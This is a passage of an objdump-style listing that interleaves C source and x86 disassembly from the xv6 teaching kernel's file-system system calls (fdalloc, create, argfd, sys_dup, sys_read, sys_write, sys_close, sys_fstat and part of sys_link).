801047b4: 85 c9 test %ecx,%ecx
801047b6: 74 18 je 801047d0 <fdalloc+0x30>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
801047b8: 83 c2 01 add $0x1,%edx
801047bb: 83 fa 10 cmp $0x10,%edx
801047be: 75 f0 jne 801047b0 <fdalloc+0x10>
curproc->ofile[fd] = f;
return fd;
}
}
return -1;
}
801047c0: 83 c4 04 add $0x4,%esp
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
return fd;
}
}
return -1;
801047c3: ba ff ff ff ff mov $0xffffffff,%edx
}
801047c8: 89 d0 mov %edx,%eax
801047ca: 5b pop %ebx
801047cb: 5d pop %ebp
801047cc: c3 ret
801047cd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
801047d0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4)
return fd;
}
}
return -1;
}
801047d4: 83 c4 04 add $0x4,%esp
801047d7: 89 d0 mov %edx,%eax
801047d9: 5b pop %ebx
801047da: 5d pop %ebp
801047db: c3 ret
801047dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047e0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801047e0: 55 push %ebp
801047e1: 89 e5 mov %esp,%ebp
801047e3: 83 ec 48 sub $0x48,%esp
801047e6: 89 4d d4 mov %ecx,-0x2c(%ebp)
801047e9: 8b 4d 08 mov 0x8(%ebp),%ecx
801047ec: 89 75 f8 mov %esi,-0x8(%ebp)
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801047ef: 8d 75 da lea -0x26(%ebp),%esi
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801047f2: 89 7d fc mov %edi,-0x4(%ebp)
801047f5: 89 d7 mov %edx,%edi
801047f7: 89 5d f4 mov %ebx,-0xc(%ebp)
801047fa: 89 4d d0 mov %ecx,-0x30(%ebp)
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801047fd: 89 74 24 04 mov %esi,0x4(%esp)
80104801: 89 04 24 mov %eax,(%esp)
80104804: e8 87 d7 ff ff call 80101f90 <nameiparent>
80104809: 85 c0 test %eax,%eax
8010480b: 0f 84 ff 00 00 00 je 80104910 <create+0x130>
return 0;
ilock(dp);
80104811: 89 04 24 mov %eax,(%esp)
80104814: 89 45 cc mov %eax,-0x34(%ebp)
80104817: e8 84 ce ff ff call 801016a0 <ilock>
if((ip = dirlookup(dp, name, 0)) != 0){
8010481c: 8b 55 cc mov -0x34(%ebp),%edx
8010481f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80104826: 00
80104827: 89 74 24 04 mov %esi,0x4(%esp)
8010482b: 89 14 24 mov %edx,(%esp)
8010482e: e8 fd d3 ff ff call 80101c30 <dirlookup>
80104833: 8b 55 cc mov -0x34(%ebp),%edx
80104836: 85 c0 test %eax,%eax
80104838: 89 c3 mov %eax,%ebx
8010483a: 74 4c je 80104888 <create+0xa8>
iunlockput(dp);
8010483c: 89 14 24 mov %edx,(%esp)
8010483f: e8 ec d0 ff ff call 80101930 <iunlockput>
ilock(ip);
80104844: 89 1c 24 mov %ebx,(%esp)
80104847: e8 54 ce ff ff call 801016a0 <ilock>
if(type == T_FILE && ip->type == T_FILE)
8010484c: 66 83 ff 02 cmp $0x2,%di
80104850: 75 16 jne 80104868 <create+0x88>
80104852: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx)
80104857: 75 0f jne 80104868 <create+0x88>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104859: 89 d8 mov %ebx,%eax
8010485b: 8b 75 f8 mov -0x8(%ebp),%esi
8010485e: 8b 5d f4 mov -0xc(%ebp),%ebx
80104861: 8b 7d fc mov -0x4(%ebp),%edi
80104864: 89 ec mov %ebp,%esp
80104866: 5d pop %ebp
80104867: c3 ret
if((ip = dirlookup(dp, name, 0)) != 0){
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
80104868: 89 1c 24 mov %ebx,(%esp)
return 0;
8010486b: 31 db xor %ebx,%ebx
if((ip = dirlookup(dp, name, 0)) != 0){
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
8010486d: e8 be d0 ff ff call 80101930 <iunlockput>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104872: 89 d8 mov %ebx,%eax
80104874: 8b 75 f8 mov -0x8(%ebp),%esi
80104877: 8b 5d f4 mov -0xc(%ebp),%ebx
8010487a: 8b 7d fc mov -0x4(%ebp),%edi
8010487d: 89 ec mov %ebp,%esp
8010487f: 5d pop %ebp
80104880: c3 ret
80104881: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return ip;
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
80104888: 0f bf c7 movswl %di,%eax
8010488b: 89 44 24 04 mov %eax,0x4(%esp)
8010488f: 8b 02 mov (%edx),%eax
80104891: 89 55 cc mov %edx,-0x34(%ebp)
80104894: 89 04 24 mov %eax,(%esp)
80104897: e8 74 cc ff ff call 80101510 <ialloc>
8010489c: 8b 55 cc mov -0x34(%ebp),%edx
8010489f: 85 c0 test %eax,%eax
801048a1: 89 c3 mov %eax,%ebx
801048a3: 0f 84 d7 00 00 00 je 80104980 <create+0x1a0>
panic("create: ialloc");
ilock(ip);
801048a9: 89 55 cc mov %edx,-0x34(%ebp)
801048ac: 89 04 24 mov %eax,(%esp)
801048af: e8 ec cd ff ff call 801016a0 <ilock>
ip->major = major;
801048b4: 0f b7 45 d4 movzwl -0x2c(%ebp),%eax
ip->minor = minor;
801048b8: 0f b7 4d d0 movzwl -0x30(%ebp),%ecx
ip->nlink = 1;
801048bc: 66 c7 43 56 01 00 movw $0x1,0x56(%ebx)
if((ip = ialloc(dp->dev, type)) == 0)
panic("create: ialloc");
ilock(ip);
ip->major = major;
801048c2: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = minor;
801048c6: 66 89 4b 54 mov %cx,0x54(%ebx)
ip->nlink = 1;
iupdate(ip);
801048ca: 89 1c 24 mov %ebx,(%esp)
801048cd: e8 0e cd ff ff call 801015e0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
801048d2: 66 83 ff 01 cmp $0x1,%di
801048d6: 8b 55 cc mov -0x34(%ebp),%edx
801048d9: 74 3d je 80104918 <create+0x138>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
panic("create dots");
}
if(dirlink(dp, name, ip->inum) < 0)
801048db: 8b 43 04 mov 0x4(%ebx),%eax
801048de: 89 14 24 mov %edx,(%esp)
801048e1: 89 55 cc mov %edx,-0x34(%ebp)
801048e4: 89 74 24 04 mov %esi,0x4(%esp)
801048e8: 89 44 24 08 mov %eax,0x8(%esp)
801048ec: e8 9f d5 ff ff call 80101e90 <dirlink>
801048f1: 8b 55 cc mov -0x34(%ebp),%edx
801048f4: 85 c0 test %eax,%eax
801048f6: 78 7c js 80104974 <create+0x194>
panic("create: dirlink");
iunlockput(dp);
801048f8: 89 14 24 mov %edx,(%esp)
801048fb: e8 30 d0 ff ff call 80101930 <iunlockput>
return ip;
}
80104900: 89 d8 mov %ebx,%eax
80104902: 8b 75 f8 mov -0x8(%ebp),%esi
80104905: 8b 5d f4 mov -0xc(%ebp),%ebx
80104908: 8b 7d fc mov -0x4(%ebp),%edi
8010490b: 89 ec mov %ebp,%esp
8010490d: 5d pop %ebp
8010490e: c3 ret
8010490f: 90 nop
{
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
return 0;
80104910: 31 db xor %ebx,%ebx
80104912: e9 42 ff ff ff jmp 80104859 <create+0x79>
80104917: 90 nop
ip->minor = minor;
ip->nlink = 1;
iupdate(ip);
if(type == T_DIR){ // Create . and .. entries.
dp->nlink++; // for ".."
80104918: 66 83 42 56 01 addw $0x1,0x56(%edx)
iupdate(dp);
8010491d: 89 14 24 mov %edx,(%esp)
80104920: 89 55 cc mov %edx,-0x34(%ebp)
80104923: e8 b8 cc ff ff call 801015e0 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104928: 8b 43 04 mov 0x4(%ebx),%eax
8010492b: c7 44 24 04 68 74 10 movl $0x80107468,0x4(%esp)
80104932: 80
80104933: 89 1c 24 mov %ebx,(%esp)
80104936: 89 44 24 08 mov %eax,0x8(%esp)
8010493a: e8 51 d5 ff ff call 80101e90 <dirlink>
8010493f: 8b 55 cc mov -0x34(%ebp),%edx
80104942: 85 c0 test %eax,%eax
80104944: 78 22 js 80104968 <create+0x188>
80104946: 8b 42 04 mov 0x4(%edx),%eax
80104949: c7 44 24 04 67 74 10 movl $0x80107467,0x4(%esp)
80104950: 80
80104951: 89 1c 24 mov %ebx,(%esp)
80104954: 89 44 24 08 mov %eax,0x8(%esp)
80104958: e8 33 d5 ff ff call 80101e90 <dirlink>
8010495d: 8b 55 cc mov -0x34(%ebp),%edx
80104960: 85 c0 test %eax,%eax
80104962: 0f 89 73 ff ff ff jns 801048db <create+0xfb>
panic("create dots");
80104968: c7 04 24 6a 74 10 80 movl $0x8010746a,(%esp)
8010496f: e8 fc b9 ff ff call 80100370 <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
80104974: c7 04 24 76 74 10 80 movl $0x80107476,(%esp)
8010497b: e8 f0 b9 ff ff call 80100370 <panic>
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
panic("create: ialloc");
80104980: c7 04 24 58 74 10 80 movl $0x80107458,(%esp)
80104987: e8 e4 b9 ff ff call 80100370 <panic>
8010498c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104990 <argfd.constprop.0>:
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104990: 55 push %ebp
80104991: 89 e5 mov %esp,%ebp
80104993: 83 ec 38 sub $0x38,%esp
80104996: 89 5d f4 mov %ebx,-0xc(%ebp)
80104999: 89 c3 mov %eax,%ebx
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
8010499b: 8d 45 e4 lea -0x1c(%ebp),%eax
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
8010499e: 89 75 f8 mov %esi,-0x8(%ebp)
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
return -1;
801049a1: be ff ff ff ff mov $0xffffffff,%esi
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
801049a6: 89 7d fc mov %edi,-0x4(%ebp)
801049a9: 89 d7 mov %edx,%edi
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
801049ab: 89 44 24 04 mov %eax,0x4(%esp)
801049af: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801049b6: e8 85 fc ff ff call 80104640 <argint>
801049bb: 85 c0 test %eax,%eax
801049bd: 78 24 js 801049e3 <argfd.constprop.0+0x53>
return -1;
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
801049bf: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
801049c3: 77 1e ja 801049e3 <argfd.constprop.0+0x53>
801049c5: e8 66 ed ff ff call 80103730 <myproc>
801049ca: 8b 55 e4 mov -0x1c(%ebp),%edx
801049cd: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
801049d1: 85 c0 test %eax,%eax
801049d3: 74 0e je 801049e3 <argfd.constprop.0+0x53>
return -1;
if(pfd)
801049d5: 85 db test %ebx,%ebx
801049d7: 74 02 je 801049db <argfd.constprop.0+0x4b>
*pfd = fd;
801049d9: 89 13 mov %edx,(%ebx)
if(pf)
*pf = f;
return 0;
801049db: 31 f6 xor %esi,%esi
return -1;
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
return -1;
if(pfd)
*pfd = fd;
if(pf)
801049dd: 85 ff test %edi,%edi
801049df: 74 02 je 801049e3 <argfd.constprop.0+0x53>
*pf = f;
801049e1: 89 07 mov %eax,(%edi)
return 0;
}
801049e3: 89 f0 mov %esi,%eax
801049e5: 8b 5d f4 mov -0xc(%ebp),%ebx
801049e8: 8b 75 f8 mov -0x8(%ebp),%esi
801049eb: 8b 7d fc mov -0x4(%ebp),%edi
801049ee: 89 ec mov %ebp,%esp
801049f0: 5d pop %ebp
801049f1: c3 ret
801049f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801049f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a00 <sys_dup>:
return -1;
}
int
sys_dup(void)
{
80104a00: 55 push %ebp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104a01: 31 c0 xor %eax,%eax
return -1;
}
int
sys_dup(void)
{
80104a03: 89 e5 mov %esp,%ebp
80104a05: 53 push %ebx
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
80104a06: bb ff ff ff ff mov $0xffffffff,%ebx
return -1;
}
int
sys_dup(void)
{
80104a0b: 83 ec 24 sub $0x24,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104a0e: 8d 55 f4 lea -0xc(%ebp),%edx
80104a11: e8 7a ff ff ff call 80104990 <argfd.constprop.0>
80104a16: 85 c0 test %eax,%eax
80104a18: 78 19 js 80104a33 <sys_dup+0x33>
return -1;
if((fd=fdalloc(f)) < 0)
80104a1a: 8b 45 f4 mov -0xc(%ebp),%eax
80104a1d: e8 7e fd ff ff call 801047a0 <fdalloc>
80104a22: 85 c0 test %eax,%eax
80104a24: 89 c3 mov %eax,%ebx
80104a26: 78 18 js 80104a40 <sys_dup+0x40>
return -1;
filedup(f);
80104a28: 8b 45 f4 mov -0xc(%ebp),%eax
80104a2b: 89 04 24 mov %eax,(%esp)
80104a2e: e8 9d c3 ff ff call 80100dd0 <filedup>
return fd;
}
80104a33: 83 c4 24 add $0x24,%esp
80104a36: 89 d8 mov %ebx,%eax
80104a38: 5b pop %ebx
80104a39: 5d pop %ebp
80104a3a: c3 ret
80104a3b: 90 nop
80104a3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
80104a40: bb ff ff ff ff mov $0xffffffff,%ebx
80104a45: eb ec jmp 80104a33 <sys_dup+0x33>
80104a47: 89 f6 mov %esi,%esi
80104a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a50 <sys_read>:
return fd;
}
int
sys_read(void)
{
80104a50: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104a51: 31 c0 xor %eax,%eax
return fd;
}
int
sys_read(void)
{
80104a53: 89 e5 mov %esp,%ebp
80104a55: 53 push %ebx
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104a56: bb ff ff ff ff mov $0xffffffff,%ebx
return fd;
}
int
sys_read(void)
{
80104a5b: 83 ec 24 sub $0x24,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104a5e: 8d 55 ec lea -0x14(%ebp),%edx
80104a61: e8 2a ff ff ff call 80104990 <argfd.constprop.0>
80104a66: 85 c0 test %eax,%eax
80104a68: 78 50 js 80104aba <sys_read+0x6a>
80104a6a: 8d 45 f0 lea -0x10(%ebp),%eax
80104a6d: 89 44 24 04 mov %eax,0x4(%esp)
80104a71: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104a78: e8 c3 fb ff ff call 80104640 <argint>
80104a7d: 85 c0 test %eax,%eax
80104a7f: 78 39 js 80104aba <sys_read+0x6a>
80104a81: 8b 45 f0 mov -0x10(%ebp),%eax
80104a84: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104a8b: 89 44 24 08 mov %eax,0x8(%esp)
80104a8f: 8d 45 f4 lea -0xc(%ebp),%eax
80104a92: 89 44 24 04 mov %eax,0x4(%esp)
80104a96: e8 e5 fb ff ff call 80104680 <argptr>
80104a9b: 85 c0 test %eax,%eax
80104a9d: 78 1b js 80104aba <sys_read+0x6a>
return -1;
return fileread(f, p, n);
80104a9f: 8b 45 f0 mov -0x10(%ebp),%eax
80104aa2: 89 44 24 08 mov %eax,0x8(%esp)
80104aa6: 8b 45 f4 mov -0xc(%ebp),%eax
80104aa9: 89 44 24 04 mov %eax,0x4(%esp)
80104aad: 8b 45 ec mov -0x14(%ebp),%eax
80104ab0: 89 04 24 mov %eax,(%esp)
80104ab3: e8 98 c4 ff ff call 80100f50 <fileread>
80104ab8: 89 c3 mov %eax,%ebx
}
80104aba: 83 c4 24 add $0x24,%esp
80104abd: 89 d8 mov %ebx,%eax
80104abf: 5b pop %ebx
80104ac0: 5d pop %ebp
80104ac1: c3 ret
80104ac2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ad0 <sys_write>:
int
sys_write(void)
{
80104ad0: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104ad1: 31 c0 xor %eax,%eax
return fileread(f, p, n);
}
int
sys_write(void)
{
80104ad3: 89 e5 mov %esp,%ebp
80104ad5: 53 push %ebx
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104ad6: bb ff ff ff ff mov $0xffffffff,%ebx
return fileread(f, p, n);
}
int
sys_write(void)
{
80104adb: 83 ec 24 sub $0x24,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104ade: 8d 55 ec lea -0x14(%ebp),%edx
80104ae1: e8 aa fe ff ff call 80104990 <argfd.constprop.0>
80104ae6: 85 c0 test %eax,%eax
80104ae8: 78 50 js 80104b3a <sys_write+0x6a>
80104aea: 8d 45 f0 lea -0x10(%ebp),%eax
80104aed: 89 44 24 04 mov %eax,0x4(%esp)
80104af1: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104af8: e8 43 fb ff ff call 80104640 <argint>
80104afd: 85 c0 test %eax,%eax
80104aff: 78 39 js 80104b3a <sys_write+0x6a>
80104b01: 8b 45 f0 mov -0x10(%ebp),%eax
80104b04: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104b0b: 89 44 24 08 mov %eax,0x8(%esp)
80104b0f: 8d 45 f4 lea -0xc(%ebp),%eax
80104b12: 89 44 24 04 mov %eax,0x4(%esp)
80104b16: e8 65 fb ff ff call 80104680 <argptr>
80104b1b: 85 c0 test %eax,%eax
80104b1d: 78 1b js 80104b3a <sys_write+0x6a>
return -1;
return filewrite(f, p, n);
80104b1f: 8b 45 f0 mov -0x10(%ebp),%eax
80104b22: 89 44 24 08 mov %eax,0x8(%esp)
80104b26: 8b 45 f4 mov -0xc(%ebp),%eax
80104b29: 89 44 24 04 mov %eax,0x4(%esp)
80104b2d: 8b 45 ec mov -0x14(%ebp),%eax
80104b30: 89 04 24 mov %eax,(%esp)
80104b33: e8 c8 c4 ff ff call 80101000 <filewrite>
80104b38: 89 c3 mov %eax,%ebx
}
80104b3a: 83 c4 24 add $0x24,%esp
80104b3d: 89 d8 mov %ebx,%eax
80104b3f: 5b pop %ebx
80104b40: 5d pop %ebp
80104b41: c3 ret
80104b42: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b50 <sys_close>:
int
sys_close(void)
{
80104b50: 55 push %ebp
80104b51: 89 e5 mov %esp,%ebp
80104b53: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80104b56: 8d 55 f4 lea -0xc(%ebp),%edx
80104b59: 8d 45 f0 lea -0x10(%ebp),%eax
80104b5c: e8 2f fe ff ff call 80104990 <argfd.constprop.0>
return -1;
80104b61: ba ff ff ff ff mov $0xffffffff,%edx
sys_close(void)
{
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80104b66: 85 c0 test %eax,%eax
80104b68: 78 1d js 80104b87 <sys_close+0x37>
return -1;
myproc()->ofile[fd] = 0;
80104b6a: e8 c1 eb ff ff call 80103730 <myproc>
80104b6f: 8b 55 f0 mov -0x10(%ebp),%edx
80104b72: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104b79: 00
fileclose(f);
80104b7a: 8b 45 f4 mov -0xc(%ebp),%eax
80104b7d: 89 04 24 mov %eax,(%esp)
80104b80: e8 9b c2 ff ff call 80100e20 <fileclose>
return 0;
80104b85: 31 d2 xor %edx,%edx
}
80104b87: 89 d0 mov %edx,%eax
80104b89: c9 leave
80104b8a: c3 ret
80104b8b: 90 nop
80104b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104b90 <sys_fstat>:
int
sys_fstat(void)
{
80104b90: 55 push %ebp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104b91: 31 c0 xor %eax,%eax
return 0;
}
int
sys_fstat(void)
{
80104b93: 89 e5 mov %esp,%ebp
80104b95: 53 push %ebx
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
return -1;
80104b96: bb ff ff ff ff mov $0xffffffff,%ebx
return 0;
}
int
sys_fstat(void)
{
80104b9b: 83 ec 24 sub $0x24,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104b9e: 8d 55 f0 lea -0x10(%ebp),%edx
80104ba1: e8 ea fd ff ff call 80104990 <argfd.constprop.0>
80104ba6: 85 c0 test %eax,%eax
80104ba8: 78 33 js 80104bdd <sys_fstat+0x4d>
80104baa: 8d 45 f4 lea -0xc(%ebp),%eax
80104bad: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104bb4: 00
80104bb5: 89 44 24 04 mov %eax,0x4(%esp)
80104bb9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104bc0: e8 bb fa ff ff call 80104680 <argptr>
80104bc5: 85 c0 test %eax,%eax
80104bc7: 78 14 js 80104bdd <sys_fstat+0x4d>
return -1;
return filestat(f, st);
80104bc9: 8b 45 f4 mov -0xc(%ebp),%eax
80104bcc: 89 44 24 04 mov %eax,0x4(%esp)
80104bd0: 8b 45 f0 mov -0x10(%ebp),%eax
80104bd3: 89 04 24 mov %eax,(%esp)
80104bd6: e8 25 c3 ff ff call 80100f00 <filestat>
80104bdb: 89 c3 mov %eax,%ebx
}
80104bdd: 83 c4 24 add $0x24,%esp
80104be0: 89 d8 mov %ebx,%eax
80104be2: 5b pop %ebx
80104be3: 5d pop %ebp
80104be4: c3 ret
80104be5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104bf0 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104bf0: 55 push %ebp
80104bf1: 89 e5 mov %esp,%ebp
80104bf3: 57 push %edi
80104bf4: 56 push %esi
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
return -1;
80104bf5: be ff ff ff ff mov $0xffffffff,%esi
}
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104bfa: 53 push %ebx
80104bfb: 83 ec 3c sub $0x3c,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104bfe: 8d 45 e4 lea -0x1c(%ebp),%eax
80104c01: 89 44 24 04 mov %eax,0x4(%esp)
80104c05: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104c0c: e8 cf fa ff ff call 801046e0 <argstr>
80104c11: 85 c0 test %eax,%eax
80104c13: 0f 88 b1 00 00 00 js 80104cca <sys_link+0xda>
80104c19: 8d 45 e0 lea -0x20(%ebp),%eax
80104c1c: 89 44 24 04 mov %eax,0x4(%esp)
80104c20: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104c27: e8 b4 fa ff ff call 801046e0 <argstr>
80104c2c: 85 c0 test %eax,%eax
80104c2e: 0f 88 96 00 00 00 js 80104cca <sys_link+0xda>
return -1;
begin_op();
80104c34: e8 37 df ff ff call 80102b70 <begin_op>
if((ip = namei(old)) == 0){
80104c39: 8b 45 e4 mov -0x1c(%ebp),%eax
80104c3c: 89 04 24 mov %eax,(%esp)
80104c3f: e8 2c d3 ff ff call 80101f70 <namei>
80104c44: 85 c0 test %eax,%eax
80104c46: 89 c3 mov %eax,%ebx
80104c48: 0f 84 d2 00 00 00 je 80104d20 <sys_link+0x130>
end_op();
return -1;
}
ilock(ip);
80104c4e: 89 04 24 mov %eax,(%esp)
80104c51: e8 4a ca ff ff call 801016a0 <ilock>
if(ip->type == T_DIR){
80104c56: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104c5b: 0f 84 b7 00 00 00 je 80104d18 <sys_link+0x128>
iunlockput(ip);
end_op();
return -1;
}
ip->nlink++;
80104c61: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
iunlock(ip);
if((dp = nameiparent(new, name)) == 0)
80104c66: 8d 7d d2 lea -0x2e(%ebp),%edi
end_op();
return -1;
}
ip->nlink++;
iupdate(ip);
80104c69: 89 1c 24 mov %ebx,(%esp)
80104c6c: e8 6f c9 ff ff call 801015e0 <iupdate>
iunlock(ip);
80104c71: 89 1c 24 mov %ebx,(%esp)
80104c74: e8 07 cb ff ff call 80101780 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104c79: 8b 45 e0 mov -0x20(%ebp),%eax
80104c7c: 89 7c 24 04 mov %edi,0x4(%esp)
80104c80: 89 04 24 mov %eax,(%esp)
80104c83: e8 08 d3 ff ff call 80101f90 <nameiparent>
80104c88: 85 c0 test %eax,%eax
80104c8a: 89 c6 mov %eax,%esi
80104c8c: 74 52 je 80104ce0 <sys_link+0xf0>
goto bad;
ilock(dp);
80104c8e: 89 04 24 mov %eax,(%esp)
80104c91: e8 0a ca ff ff call 801016a0 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104c96: 8b 03 mov (%ebx),%eax
80104c98: 39 06 cmp %eax,(%esi)
80104c9a: 75 3c jne 80104cd8 <sys_link+0xe8>
80104c9c: 8b 43 04 mov 0x4(%ebx),%eax
80104c9f: 89 7c 24 04 mov %edi,0x4(%esp)
80104ca3: 89 34 24 mov %esi,(%esp)
80104ca6: 89 44 24 08 mov %eax,0x8(%esp)
80104caa: e8 e1 d1 ff ff call 80101e90 <dirlink>
80104caf: 85 c0 test %eax,%eax
80104cb1: 78 25 js 80104cd8 <sys_link+0xe8>
iunlockput(dp);
goto bad;
}
iunlockput(dp);
80104cb3: 89 34 24 mov %esi,(%esp)
iput(ip);
end_op();
return 0;
80104cb6: 31 f6 xor %esi,%esi
ilock(dp);
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
iunlockput(dp);
goto bad;
}
iunlockput(dp);
80104cb8: e8 73 cc ff ff call 80101930 <iunlockput>
iput(ip);
80104cbd: 89 1c 24 mov %ebx,(%esp)
80104cc0: e8 0b cb ff ff call 801017d0 <iput>
end_op();
80104cc5: e8 16 df ff ff call 80102be0 <end_op>
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
}
80104cca: 83 c4 3c add $0x3c,%esp
80104ccd: 89 f0 mov %esi,%eax
80104ccf: 5b pop %ebx
80104cd0: 5e pop %esi
80104cd1: 5f pop %edi
80104cd2: 5d pop %ebp
80104cd3: c3 ret
80104cd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((dp = nameiparent(new, name)) == 0)
goto bad;
ilock(dp);
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
iunlockput(dp);
80104cd8: 89 34 24 mov %esi,(%esp)
80104cdb: e8 50 cc ff ff call 80101930 <iunlockput>
end_op();
return 0;
bad:
ilock(ip);
80104ce0: 89 1c 24 mov %ebx,(%esp)
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
80104ce3: be ff ff ff ff mov $0xffffffff,%esi
end_op();
return 0;
bad:
ilock(ip);
80104ce8: e8 b3 c9 ff ff call 801016a0 <ilock>
ip->nlink--;
80104ced: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104cf2: 89 1c 24 mov %ebx,(%esp)
80104cf5: e8 e6 c8 ff ff call 801015e0 <iupdate>
iunlockput(ip);
80104cfa: 89 1c 24 mov %ebx,(%esp)
